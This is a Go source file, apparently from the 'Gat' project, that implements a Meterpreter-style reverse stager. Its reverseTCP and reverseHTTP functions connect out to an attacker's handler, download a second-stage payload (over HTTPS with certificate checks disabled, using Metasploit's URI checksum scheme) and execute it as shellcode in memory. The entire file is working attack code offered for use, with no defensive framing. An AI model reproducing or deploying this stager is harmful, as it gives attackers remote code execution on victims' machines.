github.com/m1ddl3w4r3/Gat@v0.0.0-20221205171512-b6bb6e613409/meterpreter/meterpreter.go (about) 1 package meterpreter 2 3 import ( 4 "crypto/tls" 5 "encoding/binary" 6 "io/ioutil" 7 "math/rand" 8 "net" 9 "net/http" 10 "runtime" 11 "time" 12 13 "github.com/m1ddl3w4r3/Gat/shell" 14 ) 15 16 // Meterpreter function allows to connect back 17 // to either a TCP or HTTP(S) reverse handler 18 func Meterpreter(connType, address string) (bool, error) { 19 var ( 20 ok bool 21 err error 22 ) 23 switch { 24 case connType == "http" || connType == "https": 25 ok, err = reverseHTTP(connType, address) 26 case connType == "tcp": 27 ok, err = reverseTCP(address) 28 default: 29 ok = false 30 } 31 32 return ok, err 33 } 34 35 func getRandomString(length int, charset string) string { 36 seed := rand.New(rand.NewSource(time.Now().UnixNano())) 37 buf := make([]byte, length) 38 for i := range buf { 39 buf[i] = charset[seed.Intn(len(charset))] 40 } 41 return string(buf) 42 } 43 44 // See https://github.com/rapid7/metasploit-framework/blob/7a6a124272b7c52177a540317c710f9a3ac925aa/lib/rex/payloads/meterpreter/uri_checksum.rb 45 func getURIChecksumID() int { 46 var res int = 0 47 switch runtime.GOOS { 48 case "windows": 49 res = 92 50 case "linux": 51 res = 95 52 default: 53 res = 92 54 } 55 return res 56 } 57 58 func generateURIChecksum(length int) string { 59 charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" 60 for { 61 checksum := 0 62 uriString := getRandomString(length, charset) 63 for _, value := range uriString { 64 checksum += int(value) 65 } 66 if (checksum % 0x100) == getURIChecksumID() { 67 return uriString 68 } 69 } 70 } 71 72 func reverseTCP(address string) (bool, error) { 73 var ( 74 stage2LengthBuf []byte = make([]byte, 4) 75 tmpBuf []byte = make([]byte, 2048) 76 read = 0 77 totalRead = 0 78 stage2LengthInt uint32 = 0 79 conn net.Conn 80 err error 81 ) 82 83 if conn, err = net.Dial("tcp", address); err != nil { 84 return false, err 85 } 86 87 defer conn.Close() 88 89 if _, err = conn.Read(stage2LengthBuf); err != nil { 90 return false, err 91 } 92 93 stage2LengthInt = binary.LittleEndian.Uint32(stage2LengthBuf[:]) 94 stage2Buf := make([]byte, stage2LengthInt) 95 96 for totalRead < (int)(stage2LengthInt) { 97 if read, err = conn.Read(tmpBuf); err != nil { 98 return false, err 99 } 100 totalRead += read 101 stage2Buf = append(stage2Buf, tmpBuf[:read]...) 102 } 103 104 shell.ExecShellcode(stage2Buf) 105 106 return true, nil 107 } 108 109 func reverseHTTP(connType, address string) (bool, error) { 110 var ( 111 resp *http.Response 112 err error 113 ) 114 url := connType + "://" + address + "/" + generateURIChecksum(12) 115 if connType == "https" { 116 transport := &http.Transport{ 117 TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 118 } 119 client := &http.Client{Transport: transport} 120 resp, err = client.Get(url) 121 } else { 122 resp, err = http.Get(url) 123 } 124 if err != nil { 125 return false, err 126 } 127 128 defer resp.Body.Close() 129 130 stage2buf, _ := ioutil.ReadAll(resp.Body) 131 shell.ExecShellcode(stage2buf) 132 133 return true, nil 134 }